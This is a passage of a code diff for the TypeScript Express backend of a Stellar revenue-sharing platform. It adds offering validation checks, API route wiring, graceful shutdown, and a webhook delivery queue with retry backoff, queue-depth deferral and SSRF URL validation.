= "error", + ): void => { + checks.push({ code, passed, message, severity }); + }; + + const isPrivileged = actor.role === "admin" || actor.role === "compliance"; + const isStartup = actor.role === "startup"; + const isInvestor = actor.role === "investor"; + const managesOffering = action !== "invest"; + const issuerKnown = typeof offering.issuerId === "string"; + const ownsOffering = issuerKnown && offering.issuerId === actor.id; + const targetAmount = parseMoneyString(offering.targetAmount); + const minimumInvestment = parseMoneyString(offering.minimumInvestment); + const investmentAmount = parseMoneyString(offering.investmentAmount); + const subscriptionStartsAt = parseIsoDate(offering.subscriptionStartsAt); + const subscriptionEndsAt = parseIsoDate(offering.subscriptionEndsAt); + + addCheck( + "ROLE_ALLOWED_FOR_ACTION", + isPrivileged || + (isStartup && + [ + "create", + "update", + "publish", + "pause", + "close", + "cancel", + "viewPrivate", + ].includes(action)) || + (isInvestor && action === "invest"), + `${actor.role} may not perform ${action} for offering workflows`, + ); + + if (managesOffering) { + addCheck( + "OWNERSHIP_CONFIRMED", + isPrivileged || action === "create" || !issuerKnown || ownsOffering, + "Offering management requires issuer ownership unless actor is privileged", + ); + } + + if (["create", "update", "publish"].includes(action)) { + addCheck( + "TARGET_AMOUNT_VALID", + targetAmount !== null && targetAmount > 0, + "targetAmount must be a positive decimal string with up to 2 fractional digits", + ); + + addCheck( + "MINIMUM_INVESTMENT_VALID", + minimumInvestment !== null && minimumInvestment > 0, + "minimumInvestment must be a positive decimal string with up to 2 fractional digits", + ); + + if (targetAmount !== null && minimumInvestment !== null) { + addCheck( + "MINIMUM_NOT_GREATER_THAN_TARGET", + minimumInvestment <= targetAmount, + "minimumInvestment cannot exceed targetAmount", + ); + } + } + + if (action === "publish") { + addCheck( + "STATUS_ELIGIBLE_FOR_PUBLISH", + offering.status === "draft", + "Only draft offerings may be published", + ); + addCheck( + "SUBSCRIPTION_START_VALID", + subscriptionStartsAt !== null, + "subscriptionStartsAt must be a valid ISO-8601 date", + ); + addCheck( + "SUBSCRIPTION_END_VALID", + subscriptionEndsAt !== null, + "subscriptionEndsAt must be a valid ISO-8601 date", + ); + + if (subscriptionStartsAt && subscriptionEndsAt) { + addCheck( + "SUBSCRIPTION_WINDOW_ORDERED", + subscriptionEndsAt.getTime() > subscriptionStartsAt.getTime(), + "subscriptionEndsAt must be later than subscriptionStartsAt", + ); + addCheck( + "SUBSCRIPTION_ENDS_IN_FUTURE", + subscriptionEndsAt.getTime() > now.getTime(), + "subscriptionEndsAt must be in the future when publishing", + ); + } + } + + if (action === "pause") { + addCheck( + "STATUS_ELIGIBLE_FOR_PAUSE", + offering.status === "open", + "Only open offerings may be paused", + ); + } + + if (action === "close") { + addCheck( + "STATUS_ELIGIBLE_FOR_CLOSE", + offering.status === "open" || offering.status === "paused", + "Only open or paused offerings may be closed", + ); + } + + if (action === "cancel") { + addCheck( + "STATUS_ELIGIBLE_FOR_CANCEL", + offering.status === "draft" || + offering.status === "open" || + offering.status === "paused", + "Only draft, open, or paused offerings may be cancelled", + ); + } + + if (action === "viewPrivate") { + addCheck( + "PRIVATE_VIEW_ALLOWED", + isPrivileged || (isStartup && (!issuerKnown || ownsOffering)), + "Private offering details are limited to privileged actors and the issuer", + ); + } + + if (action === "invest") { + addCheck( + "STATUS_OPEN_FOR_INVESTMENT", + offering.status === "open", + "Investments are accepted only while an offering is open", + ); + addCheck( + "INVESTMENT_AMOUNT_VALID", + investmentAmount !== null && investmentAmount > 0, + "investmentAmount must be a positive decimal string with up to 2 fractional digits", + ); + + if (minimumInvestment !== null && investmentAmount !== null) { + addCheck( + "INVESTMENT_MEETS_MINIMUM", + investmentAmount >= minimumInvestment, + "investmentAmount must be greater than or equal to minimumInvestment", + ); + } + + if (targetAmount !== null && investmentAmount !== null) { + addCheck( + "INVESTMENT_WITHIN_TARGET", + investmentAmount <= targetAmount, + "investmentAmount cannot exceed targetAmount for a single validation request", + "warning", + ); + } + + addCheck( + "INVESTOR_NOT_ISSUER", + !issuerKnown || offering.issuerId !== actor.id, + "Issuer self-investment is blocked by default pending explicit compliance approval", + ); + + if (subscriptionStartsAt && subscriptionEndsAt) { + addCheck( + "INVESTMENT_WINDOW_ACTIVE", + now.getTime() >= subscriptionStartsAt.getTime() && + now.getTime() <= subscriptionEndsAt.getTime(), + "Investments must occur within the subscription window", + ); + } else { + addCheck( + "INVESTMENT_WINDOW_ACTIVE", + false, + "subscriptionStartsAt and subscriptionEndsAt are required to validate investments", + ); + } + } + + const violations = checks.filter((check) => !check.passed); + return { + allowed: violations.length === 0, + decision: violations.length === 0 ? "allow" : "deny", + action, + actor, + offeringId: offering.id ?? null, + checks, + violations, + securityAssumptions: OFFERING_SECURITY_ASSUMPTIONS, + }; +} + +function createOfferingValidationHandler( + nowProvider: () => Date = () => new Date(), +): RequestHandler { + return (req: Request, res: Response, next: NextFunction): void => { + try { + const actor = (req as AuthenticatedRequest).user; + /* istanbul ignore next -- guarded by requireOfferingAuth middleware */ + if (!actor) { + next(Errors.unauthorized("Authenticated offering actor is required")); + return; + } + + const payload = parseOfferingValidationPayload(req.body); + const result = evaluateOfferingValidationMatrix( + actor, + payload, + nowProvider(), + ); + + res.status(result.allowed ? 200 : 422).json(result); + } catch (error) { + next(error); + } + }; +} + +let inFlightRequests = 0; + +export function createApp(dependencies: AppDependencies = {}): express.Express { + const app = express(); + + app.use((_req, res, next) => { + inFlightRequests++; + res.on('finish', () => inFlightRequests--); + res.on('close', () => { + if (!res.writableFinished) inFlightRequests--; + }); + next(); + }); + + const apiRouter = express.Router(); + const healthQuery = dependencies.healthQuery ?? dbQuery; + const healthStatus = dependencies.healthStatus ?? dbHealth; + + app.use(requestIdMiddleware()); + app.set("trust proxy", 1); + app.use(createCorsMiddleware() as RequestHandler); + app.use(express.json({ limit: "32kb" })); + app.use(morgan(env.NODE_ENV === "test" ? "tiny" : "dev")); + + app.get("/health", async (_req: Request, res: Response) => { + const db = await healthStatus(); + res.status(db.healthy ? 200 : 503).json({ + status: db.healthy ? "ok" : "degraded", + service: "revora-backend", + db, + }); + }); + + app.get("/health/failover", async (_req: Request, res: Response) => { + const region = process.env.REGION ?? env.REGION; + const activeRegion = process.env.FAILOVER_ACTIVE_REGION ?? env.FAILOVER_ACTIVE_REGION ?? region; + const db = await healthStatus(); + res.status(db.healthy ? 200 : 503).json({ + region, + activeRegion, + isActive: region === activeRegion, + db: db.healthy ? "up" : "down", + failoverActive: region !== activeRegion, + timestamp: new Date().toISOString(), + }); + }); + + app.use("/health", createHealthRouter(healthQuery as any, healthStatus, undefined, env.REGION)); + + apiRouter.get("/overview", (_req: Request, res: Response) => { + res.json({ + name: "Stellar RevenueShare (Revora) Backend", + description: + "Backend API skeleton for tokenized revenue-sharing on Stellar (offerings, investments, revenue distribution).", + version: "0.1.0", + }); + }); + + /** + * @notice Rate-limiter tier policy enforcement for the STARTUP_REGISTER endpoint. + * + * Security assumptions: + * - Tier resolution is performed via the `x-revora-rate-tier` request header. + * - Privileged tiers (`trusted`, `internal`) require a valid shared secret in + * `x-revora-tier-secret`; an absent, empty, or mismatched secret causes + * silent downgrade to the `standard` tier (fail-safe). + * - If no tier header is supplied, the request is treated as `standard`. + * - Rate-limit state is in-process; a distributed store (e.g. Redis) must be + * substituted for multi-instance deployments. + */ + const startupTierLimiter = createStartupAuthTierLimiter(); + apiRouter.post( + "/startup/register", + startupTierLimiter.middleware, + createStartupRegisterHandler(), + ); + + apiRouter.post( + "/offerings/validation-matrix", + requireOfferingAuth, + offeringSanitizeMiddleware, + createOfferingValidationHandler(), + ); + + apiRouter.use("/vesting", vestingRouter); + + // Mount password reset router + app.use(createPasswordResetRouter({ db: pool, emailService })); + + // Initialize email deliverability service (when enabled) + if (env.EMAIL_DELIVERABILITY_ENABLED) { + const emailDeliverabilityRepo = new EmailDeliverabilityRepository(pool); + const emailDeliverabilityService = new EmailDeliverabilityService( + emailDeliverabilityRepo, + new MetricsCollector({ enabled: true }), + { + enabled: env.EMAIL_DELIVERABILITY_ENABLED, + suppressionAutoExpireDays: env.SUPPRESSION_AUTO_EXPIRE_DAYS, + bounceRatioAlarmThreshold: env.BOUNCE_RATIO_ALARM_THRESHOLD, + }, + ); + + // Wire into the existing email service + emailService.setDeliverabilityService(emailDeliverabilityService); + + // Mount email bounce webhook routes + app.use( + '/api/v1/email/webhooks', + createEmailWebhooksRouter(emailDeliverabilityService, { + sendgridWebhookSecret: env.SENDGRID_EVENT_WEBHOOK_SECRET, + }), + ); + } + + // Initialize repositories for admin and audit routes + const auditLogRepo = new AuditLogRepository(pool); + const amlAuditRepo = new InMemorySecurityAuditRepository(); + const retentionLabelService = new RetentionLabelService( + new RetentionLabelRepository(pool), + auditLogRepo, + ); + const tenantSettingsRepo = new TenantSettingsRepository(pool); + const contractUpgradeService = env.STELLAR_SERVER_SECRET + ? new ContractUpgradeOrchestratorService( + pool, + auditLogRepo, + tenantSettingsRepo, + Keypair.fromSecret(env.STELLAR_SERVER_SECRET), + ) + : null; + + // Mount admin router + apiRouter.use("/admin", createAdminRouter(auditLogRepo, retentionLabelService)); + apiRouter.use("/admin", createAdminKycRiskTierRouter(pool, amlAuditRepo)); + + // Mount admin webhook dead-letter routes + const webhookEndpointRepo = new WebhookEndpointRepository(pool); + apiRouter.use("/admin/webhooks", createAdminWebhookRouter({ webhookEndpointRepo })); + + // Mount admin ledger double-entry export (RBAC + audited) + apiRouter.use( + "/admin/ledger", + createAdminLedgerExportRouter({ + distributionAccountRepo: new DistributionRepository(pool), + accountingLedger: new AccountingLedgerService(), + auditLogRepo, + }), + ); + + if (contractUpgradeService) { + apiRouter.use( + "/contract-upgrades", + createContractUpgradeRouter(contractUpgradeService), + ); + } + + // Initialize AML service and routes + const amlService = createAMLService(pool, amlAuditRepo, 'system'); + apiRouter.use("/aml", createAMLRoutes(amlService)); + + // Initialize sanctions list versioning and compliance routes + const sanctionsVersionsRepo = new SanctionsListVersionsRepository(pool); + const sanctionsListDiffService = new SanctionsListDiffService(sanctionsVersionsRepo); + apiRouter.use("/compliance", createComplianceRouter(sanctionsVersionsRepo, sanctionsListDiffService)); + + // Initialize ledger export with in-memory repository + // TODO: Replace with PgLedgerEntryRepository when ledger_entries table exists + const ledgerRepo = new InMemoryLedgerRepository(); + const ledgerExportService = new LedgerExportService(ledgerRepo); + apiRouter.use("/ledger", createLedgerExportRouter(ledgerExportService)); + + // Investor statements (Issue #874): the fetch endpoint re-verifies the + // persisted sha256 before serving. Storage defaults to in-memory — replace + // with the S3-backed adapter when one is deployed so completed renders are + // retrievable across instances. Without a storage adapter, requests simply + // 404 (no artifacts exist), which is fail-safe. + const statementStorage = new InMemoryStatementPdfStorage(); + const pdfRenderJobRepo = new PdfRenderJobRepository(pool); + const sessionRepo = new SessionRepository(pool); + apiRouter.use( + "/statements", + createStatementsRouter({ + jobRepo: pdfRenderJobRepo, + storage: statementStorage, + verifyJWT: createRequireAuth(sessionRepo), + }), + ); + + // Mount taxation routes for per-lot cost-basis tax reporting + app.use(API_VERSION_PREFIX + '/taxation', taxationRouter); + + // Expose reconciliation alarms and discrepancy metrics (OpenMetrics subset). + // Guards alarms via bearer token in production; bypassed in dev/test. + app.get( + "/metrics/reconciliation", + createMetricsAuthMiddleware(), + createReconciliationMetricsHandler(globalMetrics), + ); + + app.use(API_VERSION_PREFIX, apiRouter); + app.use((_req, _res, next) => next(Errors.notFound("Route not found"))); + app.use(errorHandler); + + return app; +} + +export const __test = { + stableSerialize, + parseMoneyString, + parseIsoDate, + parseOfferingValidationPayload, + evaluateOfferingValidationMatrix, + /** + * @dev Exposes the tier-limiter factory for integration tests that need to + * inspect tier resolution or reset counters without restarting the app. + */ + createStartupAuthTierLimiter, + /** + * @dev Exposes the OFAC loader for integration tests. + */ + OfacSanctionsLoader, +}; + +export { classifyStellarRPCFailure, StellarRPCFailureClass }; + +export const app = createApp(); + +let isShuttingDown = false; + +/* istanbul ignore next -- exercised only in real process shutdown */ +async function shutdown(signal: string): Promise { + if (isShuttingDown) return; + isShuttingDown = true; + + globalSampler.stop(); + console.log(`\n[server] ${signal} shutting down`); + + if (server) { + const drainTimeoutMs = parseInt(process.env.SHUTDOWN_TIMEOUT_MS || '10000', 10); + + // Stop accepting new connections + const serverClosePromise = new Promise((resolve, reject) => { + server!.close((err) => { + if (err) reject(err); + else resolve(); + }); + }); + + console.log('[server] Stopped accepting new connections. Draining in-flight requests...'); + + const drainStart = Date.now(); + while (inFlightRequests > 0) { + if (Date.now() - drainStart > drainTimeoutMs) { + console.warn(`[server] Drain timeout exceeded with ${inFlightRequests} in-flight requests. Forcing exit.`); + break; + } + await new Promise(resolve => setTimeout(resolve, 100)); + } + + if (inFlightRequests === 0) { + console.log('[server] All in-flight requests drained.'); + // Wait for server to fully close (e.g., closing idle keep-alive sockets) + try { + const remainingTime = Math.max(0, drainTimeoutMs - (Date.now() - drainStart)); + await Promise.race([ + serverClosePromise, + new Promise((_, reject) => setTimeout(() => reject(new Error('timeout')), remainingTime)) + ]); + console.log('[server] Listener closed completely.'); + } catch (err) { + console.warn('[server] Listener close timeout or error. Proceeding to close pool.'); + } + } + } + + await closePool(); + /* istanbul ignore next -- process exit is not unit-test friendly */ + process.exit(0); +} + +let server: ReturnType | undefined; + +/* istanbul ignore next -- setter exists for runtime wiring compatibility */ +export const setServer = (value: ReturnType) => { + server = value; +}; + +/** + * Webhook delivery queue with exponential backoff, SSRF-aware URL blocking, + * bounded depth, and back-pressure via deferred persistence. + * + * @notice When in-flight count reaches WEBHOOK_QUEUE_MAX_DEPTH the delivery is + * persisted as 'deferred' (never dropped) and webhook_queue_shed_total + * is incremented. Call resumeDeferred() to re-enqueue them once capacity + * is available. Shedding is idempotent per delivery: re-enqueueing an + * already-deferred row at capacity reuses the row and does not + * double-count the metric. + */ +export class WebhookQueue { + private static repo: WebhookEndpointRepository; + private static service: WebhookService; + private static MAX_RETRIES = 5; + private static INITIAL_DELAY = 1000; + /** Number of deliveries currently scheduled / in-flight. */ + private static inFlight = 0; + + static init(repo: WebhookEndpointRepository, service: WebhookService) { + this.repo = repo; + this.service = service; + } + + private static get maxDepth(): number { + return env.WEBHOOK_QUEUE_MAX_DEPTH; + } + + private static async isSafeUrl(url: string): Promise { + try { + const result = await validateWebhookUrl(url, true); + if (!result.valid) { + console.error( + `[Security] SSRF validation failed for ${url}: ${result.error?.message}`, + ); + } + return result.valid; + } catch (error) { + console.error(`[Security] Error validating webhook URL ${url}:`, error); + return false; + } + } + + static getBackoffDelay(retryCount: number): number { + if (retryCount >= this.MAX_RETRIES) return -1; + return this.INITIAL_DELAY * Math.pow(2, retryCount); + } + + /** + * Count a shed delivery. Invoked only when a delivery first transitions to + * deferred so the counter is idempotent across retries of the same row. + */ + private static recordShed(endpointId: string): void { + globalMetrics.incrementCounter( + WEBHOOK_QUEUE_SHED_TOTAL, + { endpoint: endpointId }, + 1, + 'Total webhook deliveries deferred due to queue depth limit', + ); + } + + /** + * Attempt delivery of a webhook payload to an active endpoint. + * + * @dev Back-pressure contract: when the bounded queue is at capacity the + * delivery is persisted with status 'deferred' (never dropped) and the + * webhook_queue_shed_total counter is incremented exactly once per + * status transition. When a retry is re-enqueued with `deliveryId`, the + * same row is deferred instead of a duplicate being inserted, so retries + * are idempotent and preserve the attempt counter. + * @param url Webhook endpoint URL (SSRF validation precedes any write) + * @param payload Event payload to deliver + * @param deliveryId Existing delivery row to reuse (retry path) + * @returns true when delivered, false when deferred/failed/absent endpoint + */ + static async processDelivery( + url: string, + payload: any, + deliveryId?: string, + ): Promise { + if (!this.repo || !this.service) { + console.error("[WebhookQueue] Not initialized"); + return false; + } + + if (!(await this.isSafeUrl(url))) { + console.error(`[Security] Blocked unsafe webhook URL: ${url}`); + return false; + } + + const endpoint = await this.repo.findByUrl(url); + if (!endpoint) { + console.error(`[WebhookQueue] No active endpoint found for URL: ${url}`); + return false; + } + + // --- Back-pressure: defer when at capacity --- + if (this.inFlight >= this.maxDepth) { + // When a retry is re-enqueued (deliveryId known), defer that same row + // instead of inserting a duplicate so attempts/backoff state are kept and + // the shed counter stays idempotent across retries of the same delivery. + let deferred: WebhookDelivery | null = deliveryId + ? await this.repo.findDeliveryById(deliveryId) + : null; + + let deferredId: string; + if (!deferred) { + deferred = await this.repo.createDelivery({ + endpoint_id: endpoint.id, + payload, + status: 'deferred', + attempts: 0, + }); + deferredId = deferred.id; + this.recordShed(endpoint.id); + } else { + deferredId = deferred.id; + if (deferred.status !== 'deferred') { + await this.repo.updateDelivery(deferred.id, { + status: 'deferred', + }); + this.recordShed(endpoint.id); + } + } + + globalMetrics.setGauge( + WEBHOOK_QUEUE_DEPTH_GAUGE, + this.inFlight, + {}, + 'Current in-flight webhook deliveries when the queue sheds a delivery', + ); + console.warn( + `[WebhookQueue] Queue full (${this.inFlight}/${this.maxDepth}), deferred delivery ${deferredId}`, + ); + return false; + } + + let delivery: WebhookDelivery | null = null; + if (deliveryId) delivery = await this.repo.findDeliveryById(deliveryId); + + if (!delivery) { + delivery = await this.repo.createDelivery({ + endpoint_id: endpoint.id, + payload, + status: "pending", + attempts: 0, + }); + } + + this.inFlight++; + try { + return await this._attempt(endpoint, delivery, payload); + } finally { + this.inFlight--; + } + } + + private static async _attempt( + endpoint: { id: string; url: string; secret: string }, + delivery: WebhookDelivery, + payload: any, + ): Promise { + const currentAttempt = delivery.attempts + 1; + + // Propagate the transactional outbox event_id when present (idempotency key + // the receiver's webhookEventOrdering relies on to deduplicate retries), and + // fall back to the delivery row id for legacy callers. + const webhookPayload: WebhookPayload = { + id: (payload?.id as string) || delivery.id, + event: (payload as any).event || WebhookEventType.OFFERING_UPDATED, + payload: (payload as any).payload || payload, + timestamp: new Date().toISOString(), + }; + + const result = await this.service.sendAttempt( + { id: endpoint.id, url: endpoint.url, secret: endpoint.secret }, + webhookPayload, + ); + + if (result.success) { + await this.repo.updateDelivery(delivery.id, { + status: "completed", + attempts: currentAttempt, + last_error: null, + next_retry_at: null, + }); + return true; + } + + const isRetryable = + !result.statusCode || + result.statusCode >= 500 || + result.statusCode === 429; + const nextDelay = this.getBackoffDelay(currentAttempt); + + if (isRetryable && nextDelay !== -1) { + const nextRetryAt = new Date(Date.now() + nextDelay); + await this.repo.updateDelivery(delivery.id, { + attempts: currentAttempt, + last_error: result.error, + next_retry_at: nextRetryAt, + }); + + setTimeout(() => { + void this.processDelivery(endpoint.url, payload, delivery.id); + }, nextDelay); + + return false; + } + + await this.repo.updateDelivery(delivery.id, { + status: nextDelay === -1 ? "dead_letter" : "failed", + attempts: currentAttempt, + last_error: result.error, + next_retry_at: null, + }); + + if (nextDelay === -1) { + try { + const count = await this.repo.countDeadLettersByEndpoint(delivery.endpoint_id); + globalMetrics.setGauge( + 'webhook_dead_letter_total', + count, + { endpoint: endpoint.id }, + 'Number of dead-lettered webhook deliveries per endpoint', + ); + } catch (err) { + console.error('[WebhookQueue] Failed to update dead-letter metric:', err); + } + } + return false; + } + + static async resumePending(): Promise { + if (!this.repo) return; + const pending = await this.repo.getPendingDeliveries(); + for (const delivery of pending) { + // Honour the same bounded-depth contract as resumeDeferred; excess rows + // stay pending and are picked up on the next resume cycle. + if (this.inFlight >= this.maxDepth) break; + const endpoint = await this.repo.findById(delivery.endpoint_id); + if (endpoint) { + void this.processDelivery(endpoint.url, delivery.payload, delivery.id); + } + } + } + + /** + * Re-enqueue deferred deliveries up to available capacity. + * Safe to call repeatedly; excess deferred rows remain deferred. + */ + static async resumeDeferred(): Promise { + if (!this.repo) return; + const deferred = await this.repo.getDeferredDeliveries(); + for (const delivery of deferred) { + if (this.inFlight >= this.maxDepth) break; + const endpoint = await this.repo.findById(delivery.endpoint_id); + if (!endpoint) continue; + // Promote back to pending so processDelivery can pick it up + await this.repo.updateDelivery(delivery.id, { status: 'pending' }); + void this.processDelivery(endpoint.url, delivery.payload, delivery.id); + } + } +} + +/* istanbul ignore next -- bootstrapping is integration-environment specific */ +if (require.main === module && env.NODE_ENV !== "test") { + process.on("SIGTERM", () => { + void shutdown("SIGTERM"); + }); + process.on("SIGINT", () => { + void shutdown("SIGINT"); + }); + + const backgroundStopFns: (() => void)[] = []; + + // Resolve worker role — fail-fast on invalid value + const { resolveWorkerRole, getRoleConfig } = require("./config/workerRole"); + const workerRole = resolveWorkerRole(env.ROLE, env.NODE_ENV); + const roleConfig = getRoleConfig(workerRole); + console.log(`[server] Starting with role="${workerRole}"`, roleConfig); + + const metricsCollector = new MetricsCollector(); + + const payoutDriftRepo = new PayoutDriftRepository(pool); + const payoutDriftDetector = new PayoutDriftDetector( + pool, + payoutDriftRepo, + metricsCollector + ); + + payoutDriftDetector.start(); // Start nightly payout drift detection + globalSampler.start(); // Start event loop lag monitoring + + if (roleConfig.auditPurge) { + const auditLogRepo = new AuditLogRepository(pool); + const auditPurgeService = new AuditPurgeService(auditLogRepo, metricsCollector); + auditPurgeService.start(); + backgroundStopFns.push(() => auditPurgeService.stop()); + console.log("[server] AuditPurgeService started"); + } + + if (roleConfig.auditPurge) { // Reusing auditPurge role for general cleanup tasks + const sessionRepo = new SessionRepository(pool); + const sessionCompactionService = new SessionCompactionService(sessionRepo, metricsCollector); + sessionCompactionService.start(); + backgroundStopFns.push(() => sessionCompactionService.stop()); + console.log("[server] SessionCompactionService started"); + } + + if (roleConfig.payoutDrift) { + const payoutDriftRepo = new PayoutDriftRepository(pool); + const payoutDriftDetector = new PayoutDriftDetector( + pool, + payoutDriftRepo, + metricsCollector, + ); + payoutDriftDetector.start(); + backgroundStopFns.push(() => payoutDriftDetector.stop()); + console.log("[server] PayoutDriftDetector started"); + } + + if (roleConfig.reconciliation) { + const reconciliationScheduler = createReconciliationSchedulerRuntime({ + db: pool, + metrics: globalMetrics, + logger: undefined, + }); + reconciliationScheduler.start(); + backgroundStopFns.push(() => reconciliationScheduler.stop()); + console.log("[server] ReconciliationScheduler started"); + } + + // --- Hot-path services (only for "api" and "all" roles) --- + + if (roleConfig.webhookQueue) { + const repo = new WebhookEndpointRepository(pool); + const service = new WebhookService(repo, { + outboxRepo: env.OUTBOX_DISPATCHER_ENABLED ? new OutboxRepository(pool) : undefined, + }); + WebhookQueue.init(repo, service); + void WebhookQueue.resumePending(); + console.log("[server] WebhookQueue started"); + + // Drain the transactional outbox in a separate polling worker. Every + // outbox row was written atomically with the transaction that produced + // the event; retries reuse the same event_id so receivers can deduplicate + // via webhookEventOrdering (exactly-once). + if (env.OUTBOX_DISPATCHER_ENABLED) { + const outboxRepo = new OutboxRepository(pool); + const dispatcher = new OutboxDispatcher( + outboxRepo, + makeWebhookDispatchFn( + WebhookQueue.processDelivery.bind(WebhookQueue), + (event) => repo.listActiveByEvent(event), + ), + ); + dispatcher.start(); + backgroundStopFns.push(() => dispatcher.stop()); + console.log("[server] OutboxDispatcher started"); + } + } + + for (const stopFn of backgroundStopFns) { + process.on("SIGTERM", stopFn); + process.on("SIGINT", stopFn); + } + + // --- HTTP server (only for "api" and "all" roles) --- + + if (roleConfig.httpServer) { + server = app.listen(port, () => { + console.log(`revora-backend listening on http://localhost:${port} (role=${workerRole})`); + }); + } else { + console.log(`[server] HTTP server disabled for role="${workerRole}". Running background workers only.`); + } +} + +export default app; \ No newline at end of file